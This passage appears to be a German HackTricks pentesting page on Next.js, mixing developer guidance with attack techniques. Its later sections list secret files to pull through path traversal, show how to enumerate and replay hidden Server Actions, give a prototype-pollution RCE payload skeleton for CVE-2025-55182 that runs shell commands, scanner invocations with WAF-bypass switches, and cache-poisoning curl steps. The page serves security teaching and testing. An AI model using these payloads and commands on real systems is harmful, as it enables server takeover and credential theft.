Zweck: Obwohl Next.js mit einem eingebauten Server geliefert wird, können Sie einen benutzerdefinierten Server für fortgeschrittene Anwendungsfälle wie benutzerdefiniertes Routing oder die Integration mit bestehenden Backend-Services erstellen.

Hinweis: Die Verwendung eines benutzerdefinierten Servers kann die Deployment-Optionen einschränken, insbesondere auf Plattformen wie Vercel, die für den eingebauten Server von Next.js optimiert sind.

Beispiel:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Zusätzliche architektonische und Sicherheitsüberlegungen

Umgebungsvariablen und Konfiguration

Zweck: Sensible Informationen und Konfigurationseinstellungen außerhalb der Codebasis verwalten.

Bewährte Praktiken:

  • Verwenden Sie .env-Dateien: Variablen wie API-Keys in .env.local speichern (aus der Versionskontrolle ausgeschlossen).
  • Greifen Sie sicher auf Variablen zu: Verwenden Sie process.env.VARIABLE_NAME, um auf Umgebungsvariablen zuzugreifen.
  • Niemals Geheimnisse im Client offenlegen: Stellen Sie sicher, dass sensible Variablen nur serverseitig verwendet werden.

Beispiel:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Hinweis: Um Variablen nur serverseitig zu beschränken, lassen Sie sie aus dem env-Objekt weg oder prefixen Sie sie mit NEXT_PUBLIC_, um sie dem Client zugänglich zu machen.

Nützliche serverseitige Artefakte, die über LFI/Download-Endpunkte angezielt werden sollten

Wenn Sie in einer Next.js-App eine path traversal- oder Download-API finden, zielen Sie auf kompilierte Artefakte ab, die serverseitige secrets und Auth-Logik leak:

  • .env / .env.local für session secrets und provider credentials.
  • .next/routes-manifest.json und .next/build-manifest.json für eine vollständige Routenliste.
  • .next/server/pages/api/auth/[...nextauth].js um die kompilierte NextAuth-Konfiguration wiederherzustellen (enthält oft fallback passwords, wenn process.env-Werte nicht gesetzt sind).
  • next.config.js / next.config.mjs um rewrites, redirects und Middleware-Routing zu überprüfen.

Authentifizierung und Autorisierung

Ansatz:

  • Session-basierte Authentifizierung: Verwenden Sie Cookies, um Benutzersessions zu verwalten.
  • Token-basierte Authentifizierung: Implementieren Sie JWTs für zustandslose Authentifizierung.
  • Drittanbieter-Provider: Integrieren Sie OAuth-Provider (z. B. Google, GitHub) mit Bibliotheken wie next-auth.

Sicherheitspraktiken:

  • Sichere Cookies: Setzen Sie die Attribute HttpOnly, Secure und SameSite.
  • Passwort-Hashing: Hashen Sie Passwörter immer, bevor Sie sie speichern.
  • Eingabevalidierung: Verhindern Sie Injection-Angriffe, indem Sie Eingaben validieren und sanitisieren.

Beispiel:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Leistungsoptimierung

Strategien:

  • Bildoptimierung: Verwende die next/image-Komponente von Next.js für automatische Bildoptimierung.
  • Code-Splitting: Nutze dynamische Imports, um Code aufzuteilen und die anfänglichen Ladezeiten zu reduzieren.
  • Caching: Implementiere Caching-Strategien für API-Antworten und statische Assets.
  • Lazy Loading: Lade Komponenten oder Assets nur, wenn sie benötigt werden.

Beispiel:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Modernes Next.js verwendet “Server Actions”, die auf dem Server ausgeführt werden, aber vom Client aufgerufen werden. In Produktionsumgebungen sind diese Aufrufe undurchsichtig: alle POSTs landen auf einem gemeinsamen Endpoint und werden durch einen build-spezifischen Hash im Next-Action header unterschieden. Beispiel:

POST /
Next-Action: a9f8e2b4c7d1...

When productionBrowserSourceMaps is enabled, minified JS chunks contain calls to createServerReference(...) that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in Next-Action into concrete targets like deleteUserAccount() or exportFinancialData().

Extraktionsansatz (regex on minified JS + optional source maps)

Durchsuche heruntergeladene JS-Chunks nach createServerReference und extrahiere den Hash sowie das Funktions-/Source-Symbol. Zwei nützliche Muster:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Gruppe 1: Server-Action-Hash (40+ hex Zeichen)
  • Gruppe 2: Symbol oder Pfad, das sich über die source map, falls vorhanden, auf die ursprüngliche Funktion auflösen lässt

Wenn das Script eine source map angibt (Trailer-Kommentar //# sourceMappingURL=<...>.map), lade sie herunter und löse das Symbol/den Pfad in den ursprünglichen Funktionsnamen auf.

Praktisches Vorgehen

  • Passive Erkennung beim Browsen: Requests mit Next-Action-Headern und JS-Chunk-URLs erfassen.
  • Die referenzierten JS-Bundles und die zugehörigen *.map-Dateien herunterladen (falls vorhanden).
  • Führe das oben stehende regex aus, um ein Hash↔Name-Wörterbuch zu erstellen.
  • Nutze das Wörterbuch, um Tests gezielt anzusetzen:
    • Namensbasierte Triage (z. B. transferFunds, exportFinancialData).
    • Verfolge die Abdeckung über Builds hinweg anhand des Funktionsnamens (Hashes wechseln zwischen Builds).

Ausführen versteckter Actions (vorlagenbasierte Anfrage)

Nimm einen gültigen POST, der im Proxy beobachtet wurde, als Vorlage und ersetze den Next-Action-Wert, um eine andere entdeckte Action anzusteuern:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater und teste Autorisierung, Input-Validation und Business-Logik von sonst unerreichbaren Aktionen.

Burp automation

  • NextjsServerActionAnalyzer (Burp extension) automatisiert das Obige in Burp:
  • Durchsucht den Proxy-Verlauf nach JS-Chunks, extrahiert createServerReference(...)-Einträge und parst Source Maps, wenn verfügbar.
  • Pflegt ein durchsuchbares Hash↔Funktionsnamen-Wörterbuch und führt De-Duplizierung über Builds anhand des Funktionsnamens durch.
  • Kann ein gültiges Template-POST finden und einen versandbereiten Repeater-Tab öffnen, wobei der Hash der Zielaktion eingesetzt wird.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

  • Erfordert, dass productionBrowserSourceMaps in production aktiviert ist, um Namen aus Bundles/Source Maps wiederherzustellen.
  • Function-name disclosure ist für sich genommen keine vulnerability; nutze sie, um die Entdeckung zu leiten und die Autorisierung jeder Aktion zu testen.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router-Deployments, die Server Actions über react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) exponieren, enthalten eine kritische serverseitige prototype pollution während der Flight-Chunk-Deserialisierung. Durch das Konstruieren von $-Referenzen innerhalb einer Flight-Payload kann ein Angreifer von gepolluten Prototypen zu beliebiger JavaScript-Ausführung und anschließend zur OS-Kommandoausführung im Node.js-Prozess pivotieren.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

  1. Prototype pollution primitive: Setze "then": "$1:__proto__:then", sodass der Resolver eine then-Funktion auf Object.prototype schreibt. Jedes danach verarbeitete plain object wird dadurch zu einem thenable, wodurch der Angreifer den async control flow innerhalb der RSC-Interna beeinflussen kann.
  2. Rebinding to the global Function constructor: Zeige _response._formData.get auf "$1:constructor:constructor". Während der Auflösung wird object.constructorObject, und Object.constructorFunction, sodass zukünftige Aufrufe von _formData.get() tatsächlich Function(...) ausführen.
  3. Code execution via _prefix: Platziere JavaScript-Quelltext in _response._prefix. Wenn das gepollute _formData.get aufgerufen wird, evaluiert das Framework Function(_prefix)(...), sodass das injizierte JS require('child_process').exec() oder andere Node-Primitives ausführen kann.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Kartierung der Offenlegung von React Server Functions

React Server Functions (RSF) sind alle Funktionen, die die 'use server';-Direktive enthalten. Jede form action, mutation oder fetch helper, die an eine dieser Funktionen gebunden ist, wird zu einem RSC Flight endpoint, das problemlos attacker-supplied payloads deserialisiert. Nützliche Recon-Schritte, abgeleitet aus React2Shell-Assessments:

  • Statische Bestandsaufnahme: Suche nach der Direktive, um zu ermitteln, wie viele RSFs vom Framework automatisch offengelegt werden.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • Standardeinstellungen des App Router: create-next-app aktiviert den App Router + das app/-Verzeichnis standardmäßig, wodurch stillschweigend jede Route zu einem RSC-fähigen Endpoint wird. App Router-Ressourcen wie /_next/static/chunks/app/ oder Antworten, die Flight-Chunks über text/x-component streamen, sind starke internetexponierte Fingerabdrücke.
  • Implizit verwundbare RSC-Deployments: Reacts eigene Advisory weist darauf hin, dass Apps, die die RSC-Runtime ausliefern, ausnutzbar sein können selbst ohne explizite RSFs, behandle daher jeden Build, der react-server-dom-* 19.0.0–19.2.0 verwendet, als verdächtig.
  • Andere Frameworks, die RSC bündeln: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku usw. nutzen denselben Serializer und übernehmen dieselbe remote Angriffsfläche, bis sie gepatchte React-Builds einbinden.

Versionsabdeckung (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: verwundbar in 19.0.0, 19.1.0–19.1.1 und 19.2.0; gepatcht in 19.0.1, 19.1.2 und 19.2.1 jeweils.
  • Next.js stable: App Router-Releases 15.0.0–16.0.6 enthalten den verwundbaren RSC-Stack. Patch-Trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 beinhalten gefixte deps, daher ist jeder Build unter diesen Versionen von hohem Interesse.
  • Next.js canary: 14.3.0-canary.77+ liefert ebenfalls die fehlerhafte Runtime und es fehlen derzeit gepatchte canary-Drops, wodurch diese Fingerabdrücke starke Kandidaten für Exploits sind.

Remote-Erkennungsorakel

Assetnote’s react2shell-scanner sendet eine konstruierte multipart Flight-Anfrage an Kandidatenpfade und beobachtet das Serververhalten:

  • Standardmodus führt eine deterministische RCE-Payload aus (Mathe-Operation, die via X-Action-Redirect reflektiert wird) und beweist damit Codeausführung.
  • --safe-check mode verfälscht die Flight-Nachricht absichtlich so, dass gepatchte Server 200/400 zurückgeben, während verwundbare Ziele HTTP/500-Antworten ausgeben, die die Teilzeichenkette E{"digest" im Body enthalten. Dieses (500 + digest)-Paar ist derzeit das zuverlässigste remote Orakel, das von Verteidigern veröffentlicht wurde.
  • Eingebaute --waf-bypass, --vercel-waf-bypass und --windows Switches passen das Payload-Layout an, fügen Junk voran oder tauschen OS-Commands aus, damit du reale Internet-Assets sondieren kannst.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Weitere aktuelle App Router-Probleme (Ende 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – fehlerhaft formatierte Flight-Payloads können den RSC-Resolver in eine Endlosschleife treiben (pre-auth DoS) oder die Serialisierung von kompiliertem Server Function code für andere Aktionen erzwingen. App Router builds ≥13.3 sind betroffen, bis gepatcht; 15.0.x–16.0.x benötigen die spezifischen Patchzeilen aus dem Upstream-Advisory. Wiederhole den normalen Server Action-Pfad, stream aber einen text/x-component-Body mit missbräuchlichen $-Referenzen. Hinter einem CDN bleibt die hängende Verbindung durch Cache-Timeouts offen, was den DoS kostengünstig macht.
  • Triage tip: Ungepatchte Ziele geben nach fehlerhaften Flight-Payloads 500 mit E{"digest" zurück; gepatchte Builds geben 400/200 zurück. Teste jeden Endpoint, der bereits Flight-Chunks streamt (suche nach Next-Action-Headern oder text/x-component-Antworten) und spiele die Anfrage mit einem modifizierten Payload erneut ab.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – fehlendes Vary erlaubt, dass eine Accept: text/x-component-Antwort gecached und an Browser geliefert wird, die HTML erwarten. Eine einzige Priming-Anfrage kann die Seite durch rohe RSC-Payloads ersetzen. PoC-Ablauf:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks